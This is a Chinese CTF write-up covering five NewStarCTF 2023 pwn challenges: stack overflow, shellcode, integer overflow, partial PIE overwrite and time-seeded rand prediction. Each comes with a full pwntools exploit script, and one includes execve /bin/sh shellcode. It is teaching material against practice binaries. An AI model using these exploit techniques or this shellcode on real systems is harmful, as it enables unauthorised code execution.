NewStarCTF 2023 WEEK1 pwn AK

6 篇文章 0 订阅

题目下载链接:
百度网盘(提取码yxxx)

😍前言

比赛的wp就不写漏洞原理了,需要的话可以评论,每个题目的主要漏洞都标注在题目旁边的括号里了,可以自己去搜索学习。

🥰ret2text(栈溢出)

😘 分析

在这里插入图片描述
checksec查看。64位,开启了RELRO,无法将got表地址改为system地址。开启了NX,无法把shellcode写在栈上执行。
在这里插入图片描述
IDA查看,buf与rbp距离0x20,却可以写入0x100,存在栈溢出漏洞。
在这里插入图片描述
左侧还有个后门函数,修改返回地址为后面函数就可以了。64位,小心栈对齐,好在这题不需要。

😘 解题

在这里插入图片描述

😘 exp

from pwn import *
from LibcSearcher import *

file_name = './ret2text'

debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

io.sendline(b'a' * 0x28 + p64(0x4011FB))

io.interactive()

🥰ezshellcode(shellcode)

😘 分析

在这里插入图片描述
checksec查看。64位,开启NX,不能往栈上写入shellcode执行。
在这里插入图片描述
IDA查看。mmap函数原理大致是这样的:0x66660000为buf的起始地址,0x1000为buf的大小,7代表buf所在的这块地址可读可写可执行(rwx)

也就是说,这题虽然开了NX,但往buf里写入数据,是可以执行的。程序最后还有个后面代码jump 0x66660000,所以只需要将shellcode写入,程序会自动执行。

😘 解题

在这里插入图片描述
23字节的shellcode,又短又好用。

😘 exp

from pwn import *
from LibcSearcher import *

file_name = './ezshellcode'

debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

io.sendline(shellcode)

io.interactive()

🥰newstar shop(整数溢出)

😘 分析

在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移。
在这里插入图片描述
在这里插入图片描述
IDA查看。是一个菜单,1是买东西,2是赚钱,3不知道。
在这里插入图片描述
在这里插入图片描述
进入shop函数查看。分别可以花20,40块买东西,9999可以get shell。花20块可以买个提示,“What will happen when int transfer to unsigned int?”。告诉你这题是考整数溢出,money是有符号整数类型,在进行购买判断的时候判断的是无符号类型,存在整数溢出。将money变成负数就可以买shell了。
在这里插入图片描述
进入makemoney函数查看,这里可以花时间赚钱。
在这里插入图片描述
进入dont_try函数查看,这里会直接扣掉你50块。
在这里插入图片描述
查看money和hour的初始值,hour只有24,也就是说不能靠打工赚钱来达到9999。
有整数溢出就很简单了,进shop花80块买两次2,此时只剩下20块,选一次3扣掉50块,钱就变成负数了。

😘 解题

在这里插入图片描述
买两次
在这里插入图片描述
选3
在这里插入图片描述

成功买shell

😘 exp

from pwn import *
from LibcSearcher import *

file_name = './shop'

debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

io.sendline('1')
io.sendline('2')
io.sendline('1')
io.sendline('2')
io.sendline('3')
io.sendline('1')
io.sendline('3')

io.interactive()

🥰p1eee(栈溢出)

😘 分析

在这里插入图片描述
checksec查看。64位,开启RELRO,不能改got表地址为system地址。开启NX,不能往栈上写入shellcode执行。开启PIE,地址随机化,并且IDA只能查看相对偏移。
在这里插入图片描述
IDA查看。主函数没啥,直接进入sub_120E
在这里插入图片描述
buf距离rbp0x20,可以写入0x29,存在栈溢出漏洞,但是只能溢出1个字节到返回地址,也就说只能修改返回地址的最后一个字节,不过这其实无所谓,因为开启了PIE,就算能修改整个返回地址,也只是修改末1.5字节。在我的上一篇文章中讲到了利用格式字符串漏洞绕过PIE,感兴趣也可以去学习。
在这里插入图片描述
发现左侧有一个后门函数,相对偏移为0x1264,只关心264就可以了。将返回地址的末1.5字节改为这个就可以开shell了。

😘 解题

在这里插入图片描述
gdb看一下先,如果返回地址的末3位的第1位不是2,那就有点难办了,因为溢出不到。好在这题也很简单,是297,把97改为64就行了。

from pwn import *
from LibcSearcher import *

file_name = './p1eee'

debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

io.send(b'a' * 0x28 + b'\x64')

io.interactive()

在这里插入图片描述
运行一下,送过去了28个a+1个d,d转换为ascii码就是64。然后发现失败了,怎么会事呢?64位,小心栈对齐。可以选择ROPgadget找个ret,也可以选择换个system的起始地址。我这里选择换个起始地址。
在这里插入图片描述
这里不push rbp了,直接从1269开始,也就是说返回地址最后一位改成69
在这里插入图片描述
再次运行就成功了

😘 exp

from pwn import *
from LibcSearcher import *

file_name = './p1eee'

debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

io.send(b'a' * 0x28 + b'\x69')

io.interactive()

🥰random(随机数)

😘 分析

在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移。
在这里插入图片描述
IDA查看。让v8等于一个随机数,然后让你猜这个随机数,猜对了进入下一步。随机数原理:计算机中不存在真正的随机数,调用rand()函数的原理是这样的:

(11.22记:liunx中的glibc调用rand函数原理并不是这样的,当时能力有限,理解具有一定局限性,以下仅可作为理解用,rand函数详解请见后续文章《★pwn random随机数保姆级教程★》)

首先,有一个事先写好的随机数库,这个库中存在着成千上万个数字,srand()函数就是指定这个库中的某一个位置,然后你调用rand()就从这个位置开始读取数字。例如srand(1),在指定的位置上,第一个数是1804289383,第二个数是846930886,第三个数是1681692777。
在这里插入图片描述
当然,这里的情况是不指定rand的大小的情况下是这几个固定的数字,如果指定了大小的话,会有点不一样,但数字仍然是固定的,rand开始的位置仍然不变。用下面的这一张图对比上图应该可以理解得比较清楚。分别是指定了random()函数获取的数为0 ~ 1000之间,0 ~ 100之间,0 ~ 50之间。(a获取1804289383 % 1000 = 383,b获取 886 % 100 = 86,c获取77 % 50 = 27)
在这里插入图片描述
这样一来,知道了你给srand()传递了什么参数,就知道了接下来的rand()会出现什么数,这也就不随机了。因此,解决办法是调用time(0)函数,time(0)会获取当前系统时间与1970.1.1.0:00相差多少秒。比如这一秒相差123456s,下一秒就相差了123457s。time将123456作为参数传给srand()函数,也就是srand(123456),这样一来,每1秒srand指定的位置都不同,在每秒rand()读取的地方都不一样,这样就达到了每秒随机。当然,如果你速度够快,知道你现在的这1秒与1970.1.1.0:00相差多少秒,然后将差值填入srand(),然后能在1秒内获得rand()的序列,rand对你来说就不是随机的。

也就是说,这里的v8每秒都会随机,靠猜或者是获得rand()序列来解题不太现实。解决的办法也很简单,服务器和本地的系统时间都是一样的,对方使用time()函数得到了一个值,本地同时也使用time()得到一个值,两个值是一样的。这样一来,传入srand()中的值就是一样的,然后你在本地rand()得到的值和远程就是一样的了。你将本地得到的这个值输入进去,就可以通过if进入下一步了。

下一步是将2$031赋给v9这个数组,v9[0] = 2,v9[1] = $,然后又调用了两次rand(),进行取余,取余完成后将结果作为v9[x]的参数。假设随机数的最后一位是7,取余5后就等于2,然后就是v9[2],v9[2]是0,将0赋值给v3,作为下面sy函数的第二个参数传进去。接下来看看sy函数。
在这里插入图片描述
a1是上面的v4,a2是上面的v3。然后会执行system(xx),system一般有三个可以开shell的参数,‘/bin/sh’,‘sh’,‘$0’,这里显然只有$0,因为他给了2$031,也就是说我们需要让a1 = $ , a2 = 0 ,也就是第二个调用的rand()函数 % 5 = 2,然后a2 = v9[2] = 0,第三个调用的rand()函数 % 2 = 1,然后a1 = v9[1] = $ ,执行system($0)直接开shell。

😘 解题

在python中调用C语言中的rand函数需要多几行代码:

from ctypes import *                       //调用ctypes库                       
libc = cdll.LoadLibrary('libc.so.6')       //调用libc

这属于python中的内容,就不细讲了。
首先看看能不能rand()通过if

from pwn import *
from LibcSearcher import *
from ctypes import *

file_name = './random'

debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)

elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

libc = cdll.LoadLibrary('libc.so.6')

libc.srand(libc.time(0))
a = libc.random()

io.sendlineafter('number?\n',str(a))

io.interactive()

在这里插入图片描述
成功通过if,接下来其实就可以不用管了,写个for循环爆破就可以了,当第二个random()的个位数为2或7,第三个random()的个位数为奇数的时候,将第一个random()送过去,就可以开shell了。我的exp中给random做了个可视化,并且考虑到每一秒的random相同,因此每次爆破完sleep一秒。
在这里插入图片描述
复现的时候居然一发入魂,运气挺好的。
在这里插入图片描述
爆破的过程

😘 exp

from pwn import *
from LibcSearcher import *
from ctypes import *

file_name = './random'
'''
debug = 0
if debug:
	io = remote('node4.buuoj.cn',26238)
else:
	io = process(file_name)
'''
elf = ELF(file_name)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

def dbg():
	gdb.attach(io)

libc = cdll.LoadLibrary('libc.so.6')

for i in range(100):
	io = process(file_name)
	libc.srand(libc.time(0))
	try:
		a = libc.random()
		b = libc.random()
		c = libc.random()
		log.info('a =>> ' + str(a))
		log.info('b =>> ' + str(b))
		log.info('c =>> ' + str(c))
		if b % 5 == 2:
			if c % 2 == 1:
				io.sendlineafter('number?\n',str(a))
				io.interactive()
	except:
		continue
	finally:
		io.close()
		sleep(1)
  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YX-hueimie

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值